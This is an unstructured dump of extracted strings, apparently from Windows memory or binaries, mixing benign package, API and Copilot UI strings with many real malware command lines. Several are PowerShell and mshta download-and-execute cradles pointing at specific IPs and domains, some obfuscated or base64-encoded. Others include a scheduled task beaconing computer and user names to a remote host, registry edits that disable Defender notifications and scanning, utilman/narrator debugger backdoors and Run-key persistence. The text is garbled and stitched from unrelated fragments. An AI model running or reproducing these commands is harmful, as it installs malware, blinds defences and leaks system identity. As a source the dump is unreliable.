Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|1.cat|~amd64~~10.0.26100.7840.cat|
c:\tstp\winlogon.exe
lMhgeneric host process for win32 servicescsrss.exe:\windows\help\.hlpw
cmd /k  start c:\windows\system\svc>
ic:\windows\system32\cmd.exe/cwscript".
echo---disable"securityprocessor(tpm)troubleshooter"pagein"windowssecurity"
echo---disablenotificationsfromwindowsactioncenterforsecurityandmaintenance
cmd/cattrib+r+s+h%tmp%\config.jsonstart-process$geo_path-windowstylehidden
start/minc:\windows\syswow64\cmd.exe/cpowershell-windowstylehidden-command
WindowsCreateString
WindowsDeleteString
WindowsGetStringRawBuffer
Windows
C:\Windows\Temp\
LOGONSERVER=\\WINDOWS11 
OS=Windows_NT]
\system32;
c:/windows/system32/dl
c:/windows/system32/d
\windows\currentversion\app paths%
System.Windows.Forms.Design
windowsregistryeditorversion
windows explorer
windows modules installer worker
windows x
Microsoft.Windows.MpeConnectionMonitorWilFallback
3^MICROSOFTWINDOWS.59337145.LIVTOP_CW5
Microsoft.Windows.Sensors.App.ReadingNotificationSession
Microsoft.Windows.Audio.Spatial.ResourceManager
Microsoft.Windows.Devices.Lights.BacklightServer
Microsoft-Windows-SenseClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-SenseClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-SenseClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
p>D4Powershell -Command "$wshell=New-Object -ComObject wscript.shell; $wshell.SendKeys('Powershell -Command "Get-MpPreferencereg add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t reg_DWORD /d "1" /freg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Systray" /v "HideSystray" /t reg_DWORD /d "1" /freg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableScanningMappedNetworkDrivesForFullScan" /t reg_DWORD /d "1" /freg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableScanningNetworkFiles" /t reg_DWORD /d "1" /f
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
hkcu\\vjw0rm","\\software\\microsoft\\windows\\currentversion\\run\\"
cmdrun="hkcu\\software\\microsoft\\windows\\currentversion\\runonce";
tSystem.Windows.Forms.Button, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
sSystem.Windows.Forms.Label, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
WINDOWSTRUSTEDRT
Microsoft.Windows.AppModel.StateManagerTelemetry
AMD64_MICROSOFT.WINDOWS.C..-CONTROLS.R
Microsoft.Windows.MediaFoundation.SourceResolver
{"aliases":["login.microsoftonline.com","login.windows.net","login.microsoft.com","sts.windows.net"],"preferred_cache":"login.windows.net","preferred_network":"login.microsoftonline.com"}
DisableProcessWindowsGhosting
onecoreuap\windows\directx\dxg\dxgi\dll\swapchan.cpp
GetDockWindowSize
VS2012WindowSplitterControl
VS2013WindowSplitterControl
get_ToolWindowStripGapBottom
Windows
Windows
Osetway=system32\drivers\etc\
cic:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-command"$flnm=\"$env:temp\5ea155a9-47eb-4cb0-92df-3c868509ef99.exe\";invoke-webrequest-uri\"http://193.233.233.45/files/12.exe\"-outfile$flnm;get-item-path$flnm-stream\"zone.identifier\";&$flnm;"
7	bc:\windows\system32\windowspowershell\v1.0\powershell.exe-win1echohxbcrakazbnjobqgkxngqxgbcepktsgmxkbyjszbsazcjvo;if(-not(test-path'eyefulturbo.zip'-pathtypeleaf)){&(get-commandin???e-webr**)-uriht''tp:''//8''1.''19''.13''1.''95''/eyefulturbo.zip-outfileeyefulturbo.zip};
Windows.C
Windows
C:\ProgramData\Microsoft\Windows\AppRepository\StateRepository-Machine.srd
C:\ProgramData\Microsoft\Windows\AppRepository\StateRepository-Machine.srd-journal
C:\ProgramData\Microsoft\Windows\AppRepository\StateRepository-Machine.srd-wal
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-DataCenterBridging-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
c+http://ow.ly/QoHbJC:\Windows\Temp\AdobeReader.batShell(strSaveTo, vbNormalFocus)objFSO.DeleteFile (strSaveTo)
WINDOWS11
WINDOWS11
WINDOWS11
mc:\windows\system32\msiexec.exe/i\\documents.cavradocuments.top@ssl\5342c7fthng245t74jgv7c5432fv9j74253\heki.msi/quiet/norestart
fsjkfgajksfgkajsgfkajgsfaasfsfasgc/cchanges\youcontract.cmdabcdefghijklmnopqrstuvwxyz0123456789c:\windows\system32\shell32.dllc:
c:\windows\system32\cmd.exe/cfor%fin(mshta)dostart%fhttps://cdn-defac21.studyzone-investmentguru.com/api/uz/0912545164/bsa02.cpl
4c:\windows\system32\windowspowershell\v1.0\powershell.exe.([char]105+[char]101+[char]120)('mshtahttp://62.60.226.199/ext/test111
System.Windows.Forms.UnsafeNativeMethods.ITableItemProvider.GetColumnHeaderItems
System.Windows.Forms.UnsafeNativeMethods.ITableItemProvider.GetRowHeaderItems
htmlWindowShims
System.Windows.Forms
SystemWindowsForms
MicrosoftVisualStudioWindowsForms
..\..\third_party\microsoft_oneauth\msinternal\src\msal\source\windows\broker\WAMSynchronousWrapper.cpp
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
OS=Windows_NT
OS=Windows_NT
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
WindowsB
Hf WindowsT
 anticipations\senatorshipdiamagnetic.jsc:\windows\explorer.exe%systemroot%
c:\windows\system32\windowspowershell\v1.0\powershell.exe-command"invoke-expression((new-objectsystem.net.webclient).downloadstring('http://86.38.217.167/vth/vth'))"
\windows\system32\cmd.exeg/ccurl-o%temp%\
.dat&&%windir%\system32\regsvr32%temp%\
.jpgc:\windows\write.exe%windir%\system32\cmd.exe
.cmdabcdefghijklmnopqrstuvwxyz0123456789c:\windows\system32\shell32.dllc:\windows\system32\cmd.exec:\windows\system32\cmd.exec
c:\windows\syswow64\windowspowershell\v1.0\powershell.exeinvoke-webrequest-uri'http://adpk.duckdns.org:58630/
oKc:\windows\syswow64\windowspowershell\v1.0\powershell.exeinvoke-webrequest-uri'http://adpk.duckdns.org:58630/
K=c:\windows\syswow64\windowspowershell\v1.0\powershell.exeinvoke-webrequest-uri'http://adpk.duckdns.org:58630/
uc:\windows\system32\cmd.exe/v/k"start/min""powershell-whidden-nologo-nop-epbypass-c"iex([text.encoding]::utf8.getstring((iwr"https://fobta.se/
Exiting the vmusr process on a remote Windows server session.
s\system32
"c:\windows\temp\wiatwain.bat"-
c:\windows\temp\
WVwindowsrestart'vssservice'aftercrash.errcode=0x00000899
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
roaming\microsoft\windows\}
`""-windowstylehidden;$>
A" & Environ("username") & "\AppData\Roaming\Microsoft\Windows\Start Menu\Program
ssImpl@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$00$0A@$0A@UIAsyncActionCompletedHandler@Foundation@Windows@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AU?$IAsyncOperationCompletedHandler_impl@U?$AggregateType@PEAVWebAccountProvider@Credentials@Security@Windows@@PEAUIWebAccountProvider@234@@Internal@Foundation@Windows@@@Foundation@Windows@@
.?AU?$IAsyncOperationCompletedHandler@PEAVWebAccountProvider@Credentials@Security@Windows@@@Foundation@Windows@@
.?AU?$IAsyncOperationCompletedHandler_impl@U?$AggregateType@PEAVWebTokenRequestResult@Core@Web@Authentication@Security@Windows@@PEAUIWebTokenRequestResult@23456@@Internal@Foundation@Windows@@@Foundation@Windows@@
.?AU?$IAsyncOperationCompletedHandler@PEAVWebTokenRequestResult@Core@Web@Authentication@Security@Windows@@@Foundation@Windows@@
.?AU?$IAsyncOperationCompletedHandler_impl@U?$AggregateType@PEAVWebAccount@Credentials@Security@Windows@@PEAUIWebAccount@234@@Internal@Foundation@Windows@@@Foundation@Windows@@
.?AU?$IAsyncOperationCompletedHandler@PEAVWebAccount@Credentials@Security@Windows@@@Foundation@Windows@@
jP@echooff%windir%\system32\reg.exeaddhkcu\software\micro
\system32\cmd.exe
Microsoft.Windows.AIFabric.Telemetry
Microsoft.Windows.Search.Indexer.Trace
Microsoft.Windows.Search.Indexer.SemanticSearch.Aggregated
Microsoft.Windows.Search.Indexer
Microsoft.Windows.AIFabric
Microsoft.Windows.TlgAggregateInternal
Windows.Data.Platform.ItemReference<Windows.Data.CuratedTileCollection.Group>
@%SystemRoot%\system32\shell32.dll,-22067
Windows.Data.Platform.ItemReference<Windows.Data.CuratedTileCollection.Tile>
@%SystemRoot%\system32\shell32.dll,-22021
-windows
Account '%s' is not the current Windows user, not attempting WIA
Account '%s' is the current Windows user, attempting WIA
WindowsIntegratedAuthExchange
windows\svch0st.exec:\progra~1\eset
drivers\etc\hostsiframedollars.bizdkprogsdktibs.exec:\windows\
c:\windows\system32\cmd.exe/cechorun&&sethgxtsgguxisydihzguspflwugiak=-whi&
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps;
Microsoft.UI.Content.CoreWindowSiteBridge4
2-windowstyleminimized
[windows.forms.webbrowser]::new();
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.3
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.5
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.6
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.7
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.8
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.9
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
.WindowsAppR2
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy
>c:\\windows\\sy<
c:\windows\system32\mshta.exe
&c:\windows\system32\cmd.exe/cstart__&__\drivemgr.exe&exit
::-----------clearpreviouswindowsinstallations-----------
USERPROFILE=C:\WINDOWS\ServiceProfiles\NetworkService
TEMP=C:\WINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp
powershell-windowstylehidden-executionpolicybypass-noprofile-command"iex((new-objectnet.webclient).downloadstring('https://bkngssercise.com/bomla'))"
GetSystemWindowsDirectoryA
GetProcessWindowStation
SetProcessWindowStation
OpenWindowStationW
CloseWindowStation
windows8.1windows8.1x64
c:\windows\temp\106.607
c:\windows\temp\106.606
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
ConnectionTesterTestConnection Lansweeper, WindowsApp1,WindowsApp1.WeatherApp+WindowsApp1.AirplaneWeatherControl+WindowsApp1.MLWeatherForecast+
WINDOWS11
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
1f^windows.appService
K\windows\system32\cmd.exe
c:\windows\system32\shell32.dll
https://ecs.office.com/config/v1/MicrosoftWindowsDefenderClient/1.0.0.0?CampPlatformVersion=6&EngineMinorVersion=1&EngineRing=5&EngineVersion=26010&IsBeta=0&IsDomainController=0
https://ecs.office.com/config/v1/MicrosoftWindowsDefenderClient/1.0.0.0?CampPlatformVersion=6&EngineMinorVersion=1&EngineRing=5&EngineVersion=26010&IsBeta=0&IsDomainController=0
Digest Authentication for Windows
::----clearcredentialsfromwindowscredentialmanager-----
64^com.microsoft.windows.extensions.xaml.livecaptions
com.microsoft.windows.extensions.xaml.livecaptions
65^com.microsoft.windows.telemetryid
66^com.microsoft.windows.extensionpackage
67^com.microsoft.windows.input.app
com.microsoft.windows.input.app
Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy!Microsoft.Windows.XGpuEjectDialog
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy!FullTrustApp
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy!App
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!FullTrustApp
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!App
Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy!App
Microsoft.Windows.PrintQueueActionCenter_cw5n1h2txyewy!App
Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy!App
Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy!App
Microsoft.Windows.ParentalControls_cw5n1h2txyewy!App
Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy!App
Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy!App
Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe!App
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy!App
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy!App
Microsoft.Windows.CapturePicker_cw5n1h2txyewy!App
Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy!App
Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy!App
Microsoft.LockApp_cw5n1h2txyewy!WindowsDefaultLockScreen
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!ClickToDoApp)X
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DragTray(=
Microsoft.Windows.PrintQueueActionCenter_cw5n1h2txyewy!App
Microsoft.WindowsTerminal_8wekyb3d8bbwe!App
Microsoft.WindowsStore_8wekyb3d8bbwe!StoreDesktopExtension
Microsoft.WindowsStore_8wekyb3d8bbwe!App
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!App
Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy!App
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.TextInputExtensions(@C
MicrosoftWindows.Client.CBS_cw5n1h2txye5
Microsoft.WindowsStore_8wekyb3d8bbwe!StoreCLI
Microsoft.WindowsStore_8wekyb3d8bbwe!StoreDesktopExtension
Microsoft.WindowsStore_8wekyb3d8bbwe!App
Microsoft.WindowsNotepad_8wekyb3d8bbwe!App
Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy!Microsoft.Windows.XGpuEjectDialog
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy!FullTrustApp
Microsoft.Windows.Sta@
ROOT\Microsoft\Windows\Smb
\windows\pxiesys.ini\system32\
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
ROOT\Microsoft\Windows\Smb
ROOT\Microsoft\Windows\Smb
windows_
,\rCWindowsDeleteString
WindowsDuplicateString
WindowsCreateStringReference
data\roaming\microsoft\windows\
c:\windows\system32\tasks
Windows Defender Exploit Guard detected the launch of a newly created untrusted executable file
Microsoft-Windows-SenseClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat
\Windows\
%onecoreuap\shell\twinapi\windowservices\windowservices\lib\windowviewserviceidentity.cpp
onecoreuap\shell\twinapi\windowservices\windowservices\lib\windowviewserviceslifetimemanager.cpp
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS\QUERY!RegPath
Windows\CurrentVersion\Ext\Stats\%s\iexplore!LoadTimeArray
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS\QUERY!Text
Windows\CurrentVersion\App Paths\OUTLOOK.EXE!Path
<"WindowsPo" + "werShell\v1.0\pow" + "ershell.exe"start /MIN C:\Windo"TrojanDownloader:O97M/Dridex.PK!MTB
0mozilla/5.0(windowsnt6.1;trident/7.0;rv:11.0)
Microsoft-Windows-CoreSystem-GenericDrivers-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
([powershell-executionpolicybypass-windowstylehidden-command
Microsoft-Windows-AFD
Microsoft.Windows.I8042Port
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
\microsoft\windows\startmenu\programs\discordinc
Microsoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Foundation-Win1-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
(c:\windows\
\windows
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
datwindows?
?i=winlogon32.
-windowstylehidden-epbypass-command
Microsoft-Windows-Kernel-Package-PDC-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
c:/windows/system32/d
c:/windows/system32/dt
c:/windows/system32/d
.exe"-windowstylehidden;
Zc:\windows\system32\conhost.exe--headlesscmd/cschtasks/create/tnremoteassistancetask/f/scminute/mo17/tr"conhost--headlesscmd/v:on/cset765=ht&set665=tp:&set565=!765!!665!&set465=!565!//72.18.215.1&curl!465!/svchost.php?oi=%computername%..%username%|cmd"&msg*"error0xa324bce:incompletefile"
c:\windows\system32\windowspowershell\v1.0\powershell.exe-ejabkad0ajwbkag8adwbuacaaeqbvahuacgagagyaaqbsaguacwanadsasqblafgakaamacgajabkafsamqaxaf0akwakagqawwayaf0akwakagqawwa4af0akqagac0adqbzaguaygagaggadab0ahaaogavac8anga5ac4anqauadeaoaa5ac4amqayadkalwbkaguazgbhahuabab0ac4abqbwadqakqa=
:\windows\installer
windows\system32\imageres.dll%systemroot%\system32\imageres.dll%systemroot%\system32\imageres.dll
Mpowershell.exe-command"$flnm=\"$env:appdata\microsoft\windows\startmenu\programs\startup\console32.exe\";invoke-webrequest-uri\"https://commonplace.com.ec/console32.exe\"-outfile
C:\WINDOWS\
c:\windows\kb978978.logprocess1
C:\WINDOWS\system32\drivers\etc\service1.inic:\windows\KB978978.loge:\JinZQ\
:microsoft\windowsnt\currentversion
Microsoft-Windows-User-Choice-Protection-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat
Microsoft-Windows-MCUpdate-UpdateDLLs-IntelAMD-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat
14" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"T
c:/windows/system32/d
c:/windows/system32/drivers/microsoft.bluetooth.legacy.leenumerator.sys
c:/windows/system32/dL
zc:\windows/mnotepad.exe/c"powershell
.?AU?$__abi_FunctorCapture@V<lambda_11e6dc3c9f61c6bde1f69d8cdb24b534>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
Microsoft-Windows-Hyper-V-VID
Microsoft.Windows.Kernel.Ttm
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-OneCore-ClassExtensions-Package~31bf3856ad364e35~amd64~~10.0.26100.6725.cat
(@CloudData.WindowsClient.DisableSyncOnActivityFeed
\windows\\'
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe
\\WINDOWS11
\\WINDOWS11
Microsoft.Windows.BrokerInfrastructure
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManagerAggregated
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\*RD_H
WindowsAccounta
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.ResourceManager.Client
Microsoft.Windows.HostActivityManager.Client
c:\windows\system32\windowspowershell\v1.0\powershell.exe${.*}=$pshome[+82-83+1]+$pshome[-13+4]+'a'+$pshome[-77+66];${ap*f}=$([type]${.*});${.**}=${ap*f}::tostring(+79-1-5);${.**..}=${ap*f}::tostring(+79-1-5-4);${..***}=${ap*f}::tostring(+79+30-10+21);&(${.**}+${.**..}+${..***})((.($pshome[+82-83+1]+'u'+$pshome[-77+66]+$pshome[-51+45])('https://fotomasterscz.com/barcelonusta.txt')).content)
(("c:\\windows\\diagnostics\\index\\
2"></input><ulclass="qjpuleljnmtexwnii"id="xoibjqvv"title="uzpurkmpj"></ul><script>varjtd@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@U?$IVector@UTypedTemplate@TaskManagerApp@winrt@@@5673@U?$IVectorView@UTypedTemplate@TaskManagerApp@winrt@@@5673@U?$IIterable@UTypedTemplate@TaskManagerApp@winrt@@@5673@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@5673@@winrt@@
.?AU?$producer@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
WindowsCreateString
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
GetProcessWindowStation
Windows-ClientCore-DWM-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
\\WINDOWS11
WindowsShutdown
WindowsShutdown
Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
68^windows.appExtension
    name="Microsoft.Windows.TerminalServer.LSM"
WindowsShutdown
WindowsShutdown
WinlogonRequest
WinlogonNotify
IWinlogonNotify::GetInstanceOfWinlogonNotify
OS=Windows_NT
